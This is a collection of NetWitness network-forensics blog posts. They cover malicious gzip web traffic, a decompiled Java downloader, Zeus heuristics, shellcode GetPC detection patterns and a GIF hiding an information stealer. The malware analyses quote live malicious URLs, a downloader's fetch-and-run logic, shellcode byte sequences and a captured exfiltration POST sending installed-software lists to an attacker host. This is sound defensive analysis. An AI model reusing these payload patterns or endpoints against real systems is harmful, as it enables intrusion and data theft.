Part Two in a multi-part series on holistic, multi-disciplinary analysis and reversing.

The last post, “Mutex Analysis: The Canary in the Coal Mine,” started off showing to use mutexes to discover malware that is difficult to locate using more traditional methods and tools. We used a live compromised system for the example and the post came to a relatively abrupt end when it seemed that we stumbled onto a new/unknown type of malware – or at least one that does not seem to have any public exposure or analysis. This post is “part 2″ of our analysis.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Part One in a multi-part series on holistic, multi-disciplinary analysis and reversing.

This post is based on a presentation I gave at the last Thotcon, but was really prompted by a case from a couple days ago. It’s an interesting example of how the same disciplined methodologies for finding malicious traffic on the network also applies to sophisticated situations on the host as well. We’ll examine those methodologies and logic on the host by examining a little app I wrote called LockPick, pictured  here and detailed later in this article. As we’ll see, mutex analysis is a VERY powerful way of analyzing systems during Incident Response. They can lead the direction of your analysis when other automated methods fail to do so.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Introduction

In our first post in the forensics and reversing series, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:

World class forensics engineers are the ones who quickly and intelligently reduce millions of sessions to about a dozen worthy of deeper analysis.

What constitutes quickly? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.

What constitutes intelligently? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):

1. Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.
2. Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.
3. Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.
4. Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.

In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, by examining characteristics external to the file, not by searching for signatures or other characteristics internal to the file. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together.

As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is inside those sessions.

Read the full and detailed post here:
http://www.networkforensics.com/forensics-and-reverse-engineering-series/

Gary Golomb

Something I’ve found unsettling for some time now is the drastically increased usage of gzip as a Content-Encoding transfer type from web servers. By default now, Yahoo, Google, Facebook, Twitter, Wikipedia, and many other organizations compress the content they send to your users. From that list alone, you can infer that most of the HTTP traffic on any given network is not transferred in plaintext, but rather as compressed bytes.

That means web content you’d expect to look like this on the wire (making it easily searchable for policy violations and security threats):

In reality, looks like this:

As it turns out, the two screenshot above are for the exact same network session, the later screenshot being from wireshark and showing the data sent by the webserver really is compressed and not discernable.

By extension, you can likely say that most real-time network forensics/monitoring tools are [realistically] “blind” to [plausibly] a majority of the web the traffic flowing into your organization.

Combined with the fact that a vast majority of compromises are delivered to clients via HTTP (at this time, typically through the use of javascript), my use of the word “unsettling” should be an understatement. This includes everything from “APT” types of threats (or whatever soapbox you stand on to describe the same thing), down to drive-by’s and mass exploitations.

The good news: Current trends in exploitation have given us very powerful methods for generic detection (eg: without needing “signatures,” or more precisely – preexisting knowledge about the details of particular vulnerabilities or exploits) by examining traits of javascript, iframes, html, pdf’s, etc.

The bad news: Webservers are reducing the chance of network technologies from detecting those conditions by compression based transfer (obfuscation).

I find no fault with organizations choosing to use gzip as their transfer type. HTTP is a horribly repetitive and redundant language (read: bloated). Every opening <tag> has an identical closing </tag>. XML is even worse. For massive sites with massive traffic, the redundancy and bloat of protocols like HTTP and XML translate directly to lost revenue via extremely large amounts of wasted bandwidth.

Nonetheless, as forensic engineers, our challenge is to discover and compensate for all the things proactive security technologies like AV, firewalls, IPS, etc. continually fail to identify and stop. Recently, I added the following rule on a customer’s network in NetWitness:

If you’re not familiar with the NetWitness rule syntax, the rule above does the following:

If the server application/version (as extracted by the protocol parsing engine) contains the string: “nginx,”

AND

If the Content-Encoding used by the server is gzip

THEN

Create a tag labeled “http_gzip_from_nginx” in a key called “monitors.”

In the Investigator GUI, you would see something like this in the “monitors” key:

Why nginx? As it turns out, a lot of hackers tend to use nginx webservers, so this seemed like a good place to start experimenting. The question I was trying to answer is:

If the content body of a web response is gzip’ed (so we can’t examine traits of “suspiciousness” inside the body), then what can we see outside the body to indicate this gzip’ed traffic is worth examining further?

We’ll revisit this question in later blog posts, but for now, nginx as a webserver is an amazingly powerful place to start! We’ll examine one such example in this post, with an additional post using the gzip + nginx combination. As the small screenshot above shows, there were 33 sessions meeting the criteria of gzip + nginx (out of about 50,000 sessions). With only 33 sessions, it’s possible to examine them by drilling into the packets of all 33, examining them each one-by-one (eg: brute-force forensic examination), but that would be poor forensic technique and defeat the entire point of a technical and educational network forensics blog! The examples in these series of blog posts will employ good forensic practices using “correlative techniques,” allowing us to have a good idea of what is inside the packet contents before we ever drill that deeply into the network data (an indication you are using good network forensics practices).

The first pivot point we’ll examine are countries. Keep in mind, this is after we used the rule above to include only network sessions where the server returned gzip compressed content, and where the webserver was some type of nginx. We could have manually done the same by first pivoting on the content type of gzip:

Doing the first pivot reduces the number of sessions we’re examining from about 50,000 down to 2,878. Then we can do a custom filter to only include servers with the string “nginx” within those 2,878 session. Doing so gives us the same 33 sessions mentioned above.

In those 33 sessions, the countries communicated with are:

Not only do we tend to see a higher degree of malicious traffic from countries like Latvia, it immediately looks suspicious simply because it’s an outlier in the list. (Don’t worry Latvia, we’ll pick on our own country in the next post!) Additionally, there’s only a single session to examine here, meaning drilling into the packet-level detail is an ok decision at this point.

In the request, we see the client requested the file “/th/inyrktgsxtfwylf.php” from the host “ertyi.net,” as shown next:

As expected, based on the meta information NetWitness already extracted, we see the gzip’ed reply from a nginx server:

Fortunately, Investigator makes it easy for us to examine gzip’ed content by right-clicking in the session display and selecting decode as compressed data:

Doing so shows us a MUCH different story!

The traffic appears to be obfuscated javascript. We can extract it from NetWitness (a few different ways) to clean it up and examine. I’ll skip those steps and just show the cleaned-up and nicely formatted content the webserver returned.

There are a few things to notice in here. At the very bottom of the image above, we clearly see encoded javascript, a trait extremely common to client-side exploit delivery and malicious webpages. We’ll save full javascript reverse engineering for another blog post.

But the worst (or most interesting) part is the decoding and evaluation for this encoded data, while implemented in javascript, is stored inside a TextArea HTML object! This technique makes the real logic invisible and indiscernible to most automated javascript reverse engineering tools.

Indeed, if we upload this webpage to one of my favorite js reversing sites (jsunpack, located at: http://jsunpack.jeek.org/dec/go), we see the following results when the site attempts to automatically reverse engineer the javascript:

Without going further into the process of reverse engineering the javascript (for now – we have an endless supply of blog posts coming!), we can be quite sure we’re looking at something suspicious. At the very least, we know for a fact we’re looking at something that does not make it easy to discern what it’s doing!

The telltale signs of “badness” don’t stop there. At the top of the decoded body data we saw an embedded java applet, as follows:

While we don’t know (yet) what the applet does, there’s a pretty strong indication it’s a downloader or C&C (command and control) application of some type. How can we make such a guess without knowing anything about it?

Look closely at the embedded parameter passed into the applet:

We can make a guess that the string contained in the “value” parameter is encoded data using a simple substitution cypher where “S”[parm] = “T”[actual] and “T”[parm] = “/”[actual]. If we made such a guess, then it’s possible the decoded parameter value actually starts with the string “http://”.

Of course, because we have the download of the jar file within our full packet capture and storage database, we’ll just extract it from NetWitness to validate our hunch and possibly learn more. In the below screenshot, I already performed the following steps:

1. Switched to the session with the jar file download. (Simply clicked on the next session between that same client and server.)
2. Extracted the jar file by saving the raw data from the server using the “Extract Payload Side 2” option in NetWitness.
3. Opened the jar file using the following java decompiler:

The first line of code in the java applet takes the parameter passed to it (the encoded value we identified above), and hands it to a function called “b.” The result of that function is stored in a string variable called str1.

Following the decompiled java code to function “b,” we see the following:

It turns out the applet actually is using a simple substitution cypher, replacing one given character with another. When the parameter “RSS=,TT!;LBIB@STSRTYG$I=R=” is decoded, we end up with the string “http://uijn.net/th/fs7.php?i=1.”

The java malware then continues with additional string functions as shown next:

First, we see the declaration of str2 through str5, with values assigned to each.

Then, str6 through srt8 is simply the reversal of str2 through str4, resulting in the following strings:

Str6 = .exe

Str7 = java.io.tmpdir

Str8 = os.name

Combining that with the last three lines of code shown above, we see the following:

Str10 is a filename ending in “.exe” where the actual filename is a randomly generated number.

Str11 is the path to temporary files for the current user.

Str12 is the name of the Operating System the java malware is currently running on.

The last part of this java malware (that we’ll examine here anyways) is shown next:

First, it tests to see if the string “Windows” is contained anywhere in the name of the Operating System. If so, then it goes through the process of opening a connection to the URL (the one we decoded above), downloads the file, saves it to the temporary directory, then executes the file.

This file appears to be malware as a first-stage downloader for other executables that are likely far more malicious.

Pre-Summary

Even though a large amount of web traffic is coming into your organization gzip compressed, making most inline/real-time security products totally “blind” to what’s inside, we can use standard forensic principals to identify which of those sessions are worth examination. In this case, we combined to following traits to reduce 50,000 network sessions to a single one:

1. Gzip’ed web content
2. Suspicious country
3. Uncommon webserver application

Once we drilled into that single session, we saw how trivial it was to use NetWitness to automatically decompress and content, extract it, then validate it as “bad.”

Epilogue

Does the process stop there? Of course not! If you had to repeat this process every time, not only would it make your job boring as heck, but would call into question the value you and your tools are really providing the organization in the first place! There are many ways to maximize the intelligence gained from the process just shown. I’ll highlight one method here, while saving others for later blog posts.

There are several interesting “indicators” gathered from this traffic so far. The ones I’ll focus on here are host names. In the request made by the client, we saw the following tag in the HTTP Request header:

Host: ertyi.net

In the java malware we decompiled, after decoding the encoded parameter value, we saw the executable to be downloaded was from the host “uijn.net.”

At this point, network rules should be added to firewalls, proxies, NetWitness intelligence feeds, and any other technology you have that can alert to other hosts going to either of those servers – preferably blocking all traffic to those servers.

But, can we extend our security perimeter in relation to the hackers using those servers?

Interestingly, we find both those domains are hosted on the same IP block: 194.8.250.60 and 194.8.250.61.

That leads to the question, “What other domains are hosted on those server?”

Normally I use http://www.robtex.com to answer questions like that, but in this case, robtex does not provide a lot of information about that question. It’s possible the hackers are brining-up and tearing-down DNS records as needed for the domain names they manage.

Another source of helpful information can be found querying the “Passive DNS replication” database hosted at: http://www.bfk.de/bfk_dnslogger.html Here, we can find an audit trail of all historically observed DNS replies pointing to IPs you submit queries about. In this case, we do indeed find valuable information, including about 40 unique host names that have been hosted on those two IP’s. A shortened list is included below showing some of the names that have been hosted there.

aeriklin.com

aijkl.net

asdfiz.net

asuyr.net

campag.net

iifgn.net

jhgi.net

jugv.net

kobqq.com

krclear.com

lilif.net

nadwq.com

oiuhx.net

pokiz.net

uijn.net

As we can see, none of them look immediately legitimate, so we can infer this is a hacking group using a set of servers for domains they have registered simply to be “thrown away” if any of those domain names are discovered and end up on a blacklist somewhere.

The Real Summary

By combining a few pivot points and looking inside compressed web traffic most products ignore, from a single network session we proactively increased the security posture of your organization by creating an intelligence feed of nearly 40 hosts names and 2 IP’s. You could now audit DNS queries made by all hosts in your organization to see if other clients are compromised and doing look-ups when trying to communicate with those hosts.

For the truly paranoid (or safe, depending on how you look at it), you could also blackhole all traffic to those apparently malicious networks:

route: 194.8.250.0/23

origin: AS29557

Considering the Google Safe Browsing report for that AS, it’s probably not a bad idea!

Gary Golomb

Recent reports from various sources in the security industry show that a large takedown of servers associated with the “Bredolab” trojan occurred within the past few weeks. While most of the reports have focused around the idea that this infrastructure was solely related to the command and control of Bredolab, our research shows that these servers were used as an all-purpose hosting infrastructure for criminal activity.

This criminal system came to our attention in July 2010, when NetWitness analysts were asked to investigate a hacked wordpress blog.

We found that the following obfuscated script had been injected into all .html and php pages on the site:

When decoded, this script created a redirect to the following location:

hxxp://bakedonlion.ru:8080/google.com/pcpop.com/torrentdownloads.net.php

Further investigation revealed an injection of the script into victim webpages via FTP:

These IPs all connected to the victim website within a 20-minute period on May 8^th, and when plotted on a map, it becomes obvious that this is likely a botnet.

Read the rest…

Zeus is evolving. In regards to a new release, one Anti-Virus vendor recently noted:

“[the new exe] uses techniques designed to avoid automatic heuristics-based detection.”

The discussion then proceeds to examine how the exe is different from previous versions of the malware.

Should we be alarmed that Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

I suppose if it actually evaded heuristics-based detection mechanisms, that would be alarming. I’m sure the version of Zeus in question evades the mechanisms of certain AV vendors. However, when looking at the exact sample in question (verified by MD5) using the techniques we use for malware identification here, we see the sample stands out like a sore thumb.

Using our own internally-developed heuristic malware identification methods (also used by components of NextGen), we see the exe has traits such as the following (not a complete list!):

1. The binary contains packed sections, indicative of packed, obfuscated, and/or encrypted malware.
2. The size of the binary is abnormally small considering the conditions and context in which it was found.
3. The PE checksum fails to validate, something malware packers are notoriously bad about.
4. The binary does not have any information normally found within the version info table in the resource section of the PE.

But… Why get overly wrapped around the minutia related to the abnormal facets of this particular sample of Zeus? There’s a more important note to be made here. That is, Zeus is malware, so it does the things that malware does! You can’t get more “heuristically obvious” than that!

From the same vendor as above:

“…common ZeuS 2.0 variants contain relatively few imported external APIs… By contrast, [this version] imports many external APIs. To a heuristic scanner, this changes the appearance of the file and lowers the possibility of detection.”

Finding a binary that has very few external imports is generally a sign that something is suspicious. Specifically, it’s generally a sign the file is packed, obfuscated, and/or encrypted and the real imports are likely hidden inside. Such is the case when finding binaries that only import between two and five specific API’s from kernel32.dll (in the more obvious cases).

However, when finding a binary with a lot of imports, that’s even better since you get to see the full range of imports needed by the binary/malware! Without even running the sample or doing deep low-level reverse engineering, you can start to make assumptions about the functionality of the binary based on the API’s it uses. Further, it’s a simple matter to separate malware from legitimate binaries by comparing the API’s it uses to the ones it doesn’t need/use.

As is the case with this sample of Zeus, we see it (like the thousands of different types of malware not related to Zeus) imports APIs related to hooking the Windows API, creating mutexes, and managing services – without importing the functions used by legitimate binaries that also use the same functions.

So, should we be alarmed some people say Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

If your security vendor is looking for Zeus, then yes, you should be alarmed. However, if your security vendor is looking for general signs of malware, infection, and so on, then no… Fortunately Zeus is still malware, just like all the rest of it…

Gary Golomb

Overview

This technique can detect overflow exploits against software running on the x86 platform, meaning it applies to Windows, Unix, and Mac shellcode. It not only works independently of OS, but it also works for finding both stack and heap based overflows. Most interestingly, it catches most forms of polymorphic shellcode as well. (Actually, it exceeds at finding special shellcodes like polymorphic decryption engines, egg hunters, etc.)  While this definitely doesn’t work for all shellcode, it works for a lot of it.

The reason this technique applies to any operating system on x86 is simple. Shellcode is typically written in machine code (commonly called assembly, although it’s not actually the same thing), meaning shellcode is written using processor instructions – something independent of the OS it’s running on. Of course, the entire purpose of shellcode is manipulation of the OS, so shellcode is ultimately OS specific (even patch specific), but its basic primitives are independent of the OS.

One classic problem with shellcoding is addressing. Because shellcode is [typically] nefariously injected via exploitation into a process’s memory segment, and program execution is “hijacked” (without the benefit of setting up proper address pointers), the coder doesn’t know where in memory their code will be. The problem is, very little can be accomplished without knowing the logical memory address of parameters within the shellcode.

The simplest way around this issue is use of a CALL instruction. More information is available in the “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M” (and 2B: N-Z) located here: http://www.intel.com/products/processor/manuals/.

The CALL is used as a way to branch processor execution to another location in memory. It has the minor benefit of being able to use relative addressing, but it has the major benefit of PUSH’ing procedure linking information on the stack before branching to the target location. This is commonly referred to as Call Stack Setup. When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) on the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified by the target operand.

There are several versions of the CALL instruction, but the one we’re interested in for this purpose is opcode 0xE8. This is a near call (near, meaning within the current memory segment) using relative address displacement with a negative offset (eg: backwards displacement). The actual instruction is 5 bytes long, with the last four bytes used for a relative offset (a signed displacement relative to the current value of the instruction pointer in the EIP register; this value points to the instruction following the CALL instruction). The CS register is not changed on near calls, so the results of these branches can be safely predicted (from a shellcoders perspective).

A section of a disassembled binary is shown here with an actual CALL. Notice the instruction is given as an 0xe8 plus a double word (32 bit) displacement pointer.

The CALL is usually needed early in shellcode execution to PUSH the virtual address contained in the IP onto the stack. (This is done because it’s not possible to access the IP directly, so it needs to be put on the stack to utilize parameters within the shellcode). However, the problem with the use of CALLs for call stack setup in buffer overflow shellcode is the CALL is generally located at an offset needing to serve as a return address after other instructions have already been executed. In other words, the CALL is generally located later in the shellcode and the processor executes the instructions sequentially from the start of the shellcode – unless a branching instruction is encountered.

Which is precisely how to solve the problem in shellcode – early in the execution of the shellcode, you simply JMP to the CALL in question, then call back into the shellcode and continue execution.

JMPs are simple instructions and easy to visibly identify and dissect. They are simply the opcode 0xEB followed by a byte indicating the number of bytes to jump.

The example below is taken from an MDaemon Pre Authentication Heap Overflow exploit:

In the first example above (the egghunter shellcode), we see a “\xeb\x21” which means, “Jump 0×21 (or decimal 33) bytes.” When you jump those bytes, you hit the green box, a CALL. The CALL performs the call stack setup, then branches backwards back into the shellcode and picks up just after the JMP (because of the negative displacement). The actual offset is [0xFF – 0xDA = 0x25]. 0×25 is 37 in decimal, however, you subtract 5 from that since the offset starts at the end of the 5-byte CALL. That lands us just after the JMP.

Simple, yet effective. Even analysis of polymorphic shellcode generators shows this technique applies to almost all them as well.

To summarize all this rambling, the technique (show in the FelxParser below) is simply to search for a JMP straight to a NEAR CALL with a short and negative displacement.

Evasion

Call with no offset

Evasion of JMP/CALL detection can be accomplished a number of ways. The most interesting evasions are techniques used in advanced NOP sleds obfuscation leveraging CALLs that started surfacing around the mid-2000’s.

One of the simplest CALL-based NOP substitutions worked as follows:

00000000    E800000000  call 0×5

00000005    58                           pop eax

In that example we have a CALL with no offset, which basically translates to “branch to the instruction after this CALL,” in this case an opcode that simply POPs the EIP into the EAX register. (Remember, when the CALL is hit, the processor runs through the call stack setup, meaning the EIP was just PUSHED onto the stack.) From a NOP perspective, this leaves the stack unchanged, but for a method to grab the EIP, this is a simple and efficient (although the use of NULL bytes makes this more difficult to use in a wide range of shellcode).

As that byte sequence is very rare in binaries, detecting this is much simpler since we have the benefit of a continuous 6-byet token to watch for. In the case the EIP is poped to EAX, the token is simply

0xE8 0×00 0×00 0×00 0×00 0×58

The above pattern should be extended to include all the general purpose POPs, including:

0xE8 0×00 0×00 0×00 0×00 0×58

0xE8 0×00 0×00 0×00 0×00 0x8F

0xE8 0×00 0×00 0×00 0×00 0x0F 0x1A

0xE8 0×00 0×00 0×00 0×00 0x0F 0xA9

Noir’s no JMP/CALL

This next technique was first described by noir@gsu.linux.org.tr  on the vuln-dev mailing list. It works as follows:

00000000    D9EE               fldz

00000002    D97424F4    fnstenv [esp-0xc]

00000006    58                     pop eax

In this case, the technique is to use FNSTENV to get the EIP of the last FPU instruction evaluated, then POP it from the stack. In the example above, the FLDZ FPU instruction is issued, then its EIP is POP’ed. This very cool technique allows for many permutations since any number of floating point instructions can be used.  Several dozen pages in the Intel Developers Instruction Reference A-M (starting around page 430) cover instructions that can be used in place of FLDZ.

Gera’s CALL into self

The final one we’ll look at is a crafty method to avoid JMP/CALLs, and works like this:

00000000    E8FFFFFFFF  call 0×4

00000005    C3                        ret

00000006    58                        pop eax

The interesting thing is the code above does not perform the actions the disassembler has labeled them as doing. In reality, the CALL (E8FFFFFFFF) is calling backwards into itself by a single byte. Therefore, the processor will hit the byte 0xFF (the tail end of the CALL) and interpret that byte as an instruction. In this case, the instruction is an INC/DEC (increment by 1 or decrement by 1). The 0xC3 is actually an operand to the interpreted 0xFF instruction, so it’s not a RET (return, normally used for call stack unwinding) in this case – it’s actually a pointer to the value stored in the EBX register as an operand for the INC/DEC instruction! After this step has been taken (the equivalent of a NOP really), the value on the stack is POP’ed into the EAX register using the 0×58 instruction. The value POPed is the EIP since it was PUSHed onto the stack when the CALL called back into itself.

While this is a very cool technique, it also provides a number of simple tokens to match on, similar to the Call with no offset example.

False positives and benign triggers

In testing of 55 GB of data (network and host based) no false positives were encountered searching for a JMP to short and near negative CALL. However, benign triggers were encountered (meaning the condition was detected, but it was a valid use of the condition). The condition was only detected inside some valid PE files, and because of that fact, they can be filtered using a number of simple and easy techniques depending on the technology used to discover them.

Flex Parser

Currently, the parser engine does not allow for one-byte tokens, so this parser is not functional as-is. (The concept presented here can easily be extended to identifying percent-encoded shellcodes, which is supported since they are represented as multi-byte tokens.) Nonetheless, and more importantly, the technique is annotated here in Flex so the reader can see how simple it is to write FlexParsers to discover a wide array of very complex conditions – such as universal shellcode detection.

Gary Golomb

Did NetWitness actually release a new product that consists of a bucket filled with sand? The answer is yes, but the real question is why? We released B.O.S. in an attempt to sound the wake-up call…

Organizations can no longer afford to rely so heavily on perimeter based technologies, on signatures for identification of threats – and they cannot hide their heads in the sand and hope that nothing goes wrong.  Every day, things are going incredibly wrong.   Prevention alone is an epically failing strategy.

2009 can easily be called the year of advanced threats. The scary thing is that the same can be said for every year over the last five. Despite all efforts, attacks and data losses are getting progressively worse, not better.  During the past five years there have been thousands of breaches reported - impacting state and local government, small and medium sized businesses, multi-national organizations and some of the most sensitive branches of the U.S. Government.   No one is immune and the sickness is literally life threatening.

Imagine for a moment how many breaches went unreported…imagine how many have gone completely undetected.  This is a frightening reality highlighted by the 2009 Verizon Business Data Breach report which found that 49% of breaches went undiscovered for a period of months…and 70% of breaches went completely undetected by internal teams. How is this possible?

The answer is both simple and frightening – the technologies on which organizations have come to rely  aren’t able to prevent, detect, and combat the advanced threats of 2010.

Today’s security technologies are better suited for fighting the cyber-war of 1995 than they are for dealing with today’s advanced threats. The cyber-criminal underground and nation-sponsored groups are using teamwork, custom-developed malware, third-party vulnerabilities via exploit kits, and code obfuscation to bypass existing security technologies and perceptions of security derived from compliance efforts. Because of the industry’s overreliance on signature based technologies, security managers are under the false assumption that they are protected. Too much faith has been placed in firewalls, IDS/IPS, anti-virus, anti-spam and other perimeter platforms to catch the threats.  The current cyber war footing is analogous to bringing a knife to a gun battle – security leaders are reliant upon technologies designed to fight the cyber-war of 10 years ago…our adversaries are fighting with weapons of today.

So, what can be done?

In today’s threat environment it is vitally important that all organizations develop an effective, real-time capability to detect, analyze and respond rapidly to advanced threats.  During the last three years, many of the top security teams in the government and commercial sectors have turned to the advanced threat intelligence and real-time network forensics provide by NetWitness NextGen. The only way to truly know what is going on within the network is to look at everything that is going on within the network. Full packet capture and session recreation are the only ways to accomplish this end.  Where NetWitness NextGen is deployed, the result is an effective threat intelligence program and continuous augmented awareness that provides in-depth visibility into network events that escape existing network security monitoring tools.

In 2010, you should not be buying a bucket of sand.  To combat the advanced threats we now face, organizations must:

1) Reject “status quo” and compliance-focused thinking and acknowledge that prevention is a failing strategy when facing advanced threats;

2) Focus on real-time detection and rapid investigation of advanced attacks to shorten the risk exposure window of any incident;

3) Build an internal security team that is tailored for advanced threat detection and that is armed with an enterprise-wide, real-time, network forensics capability to achieve optimal network visibility…

In short…when looking to combat advanced threats, organizations should be using NetWitness NextGen.

Hey gang…Alex here…writing from the NetWitness Labs…

At NetWitness, our focus is on providing analytics, and we are constantly looking at new ways to apply our unique analytics to the realm of content development.  We know that we have really cool technology and want to showcase that as well as push the envelope of what is possible in this space.   If you’ve seen the recent rule update on the freeware welcome page you are seeing the results of these efforts first hand.

If you’ve been following the threat landscape for the past few years, you will know without question that malware is a key part of both cybercrimal and nation-state hacking activity.   You also know that current security technologies are woefully inadequate in detecting targeted and obfuscated malware.  Keeping a network secure requires knowledge of normalcy on your network as well a cutting edge technology to quickly make you aware of deviations from this normalcy.

Part of this concept is using knowledge of what’s “normal” to define what’s “abnormal”.   In this example I’ll use windows executables.  We know from common IT knowledge that windows executables often end with an “.exe” extension (among others).   Those with a forensic background also know that Windows executables are forensically identifiable by looking for a file signature that includes common “tells”.   An example of this is the PE file header,  commonly refereed to as “MZ”.

If I take these existing bits of knowledge and combine them, I have the basis for a detection of “abnormal” executables as follows:

“If forensic signature equals windows executable,  but the file extension doesn’t equal a known executable extension, let me know about it!”

With this concept in mind, one of my extremely talented coworkers (Gary Golomb), put together a flex parser with the sole purpose of detecting file signatures on the wire.   Think of a forensic analysis of filetypes using a dedicated host forensic tool like Encase or Forensic Tool Kit, but on the network and in real-time.   We’ve been testing this parser in various scenarios as warranted, and recently made an interesting discovery while at a client site.

During this engagement, we began investigating hits on our “file signature windows executable” parser, which is designed to generate “alert” metadata in the NetWitness framework when it detects forensic executable tells.

Meet 343njpl.jpg:

One of the files that triggered this alert was the following file, which was downloaded from the “tinypic.com” file hosting service and was named 343njpl.jpg:

When I look at this file forensically,  I see an interesting inconsistency.   The file header identifies the file as a GIF, not a JPG.  Something is amiss!

Digging further…I see that there is, in fact, an executable file header buried in the file:

What’s interesting to note here, is that this file renders as a GIF correctly in a web browser, so if you were to wander across it during an investigation, it would not be readily apparent that it is hiding an executable.

With this new knowledge,  We then submitted the file to virustotal to determine if it is known malicious.   The results were not promising, with 3 detections out of 41:

http://www.virustotal.com/analisis/073a4210835e026712e5aa08e18004eabe9c8c4dc7b4565db47a34e38b565b8b-1258144380

At this point we really wanted to dig deeper and figure out what this file is trying to do,  so we opened the file in a hex editor and carved the EXE out of the file, then resubmitted to virustotal…results were much better this time, but still only about 65% with 27 out of 41 detections.

http://www.virustotal.com/analisis/0ccfe86dc2ab9cd8b9f589bae6666c903af8de2ee2bfcce4dc8464346b4e761a-1256743615

Ok…so we know that this file is indeed malicous now.  So what does it actually do?    If we use some malware analysis techniques, we discover that this initially reports installed applications to a webserver in the netherlands:

POST /65/logpl.php HTTP/1.1
Referer: http://google.com/
Content-Type: application/x-www-form-urlencoded
User-Agent: hello
Host: www2.sexown.com
Content-Length: 692
Cache-Control: no-cache

pl=plV:1.1|Adobe_Flash_Player_10_ActiveXV:10.0.22.87|Explorer_Suite_III|IDA_Pro_D
emo_v5.4|InstallWatch_Pro_2.5|Malcode_Analyst_Pack_v0.21|Microsoft_.NET_Framework
_3.5_SP1|Mozilla_Firefox_(3.5)V:3.5 (en-US)|Notepad++V:5.4.4|Paros_3.2.13|Windows
_XP_Service_Pack_3V:20080414.031525|WinPcap_4.1_beta5V:4.1.0.1452|Wireshark_1.2.0
V:1.2.0|Mandiant_Red_CurtainV:1.0.0|Python_2.6.2V:2.6.2150|Java(TM)_6_Update_14V:
6.0.140|WebFldrs_XPV:9.50.7523|Mandiant_Web_HistorianV:1.3.0|Mandiant_Highlighter
V:1.1.1|MemoryzeV:1.3.1000|Microsoft_.NET_Framework_3.0_Service_Pack_2V:3.2.30729
|Microsoft_.NET_Framework_2.0_Service_Pack_2V:2.2.30729|Microsoft_.NET_Framework_
3.5_SP1V:3.5.30729|VMware_ToolsV:7.9.6.5197|

So let’s review the facts:

- A file that strays from the expected norm is detected by NetWitness technology, being served from a common file hosting site.

- This file properly renders as a GIF in a web browser, but contains an embedded executable.

- Malware detection on this sample in its embedded form is dismal, but gets better when the executable is extracted from the GIF.

- Using behavioral analysis, we can determine that the attached executable is an information stealer, at the very least.

Tied to an alerting mechanism in Netwitness Informer, we could have this alert sent directly to an enterprise SOC for response, informing them of unusual executable behavior, without having to rely on signature-based malware controls!

NetWitness….letting you see your network like never before.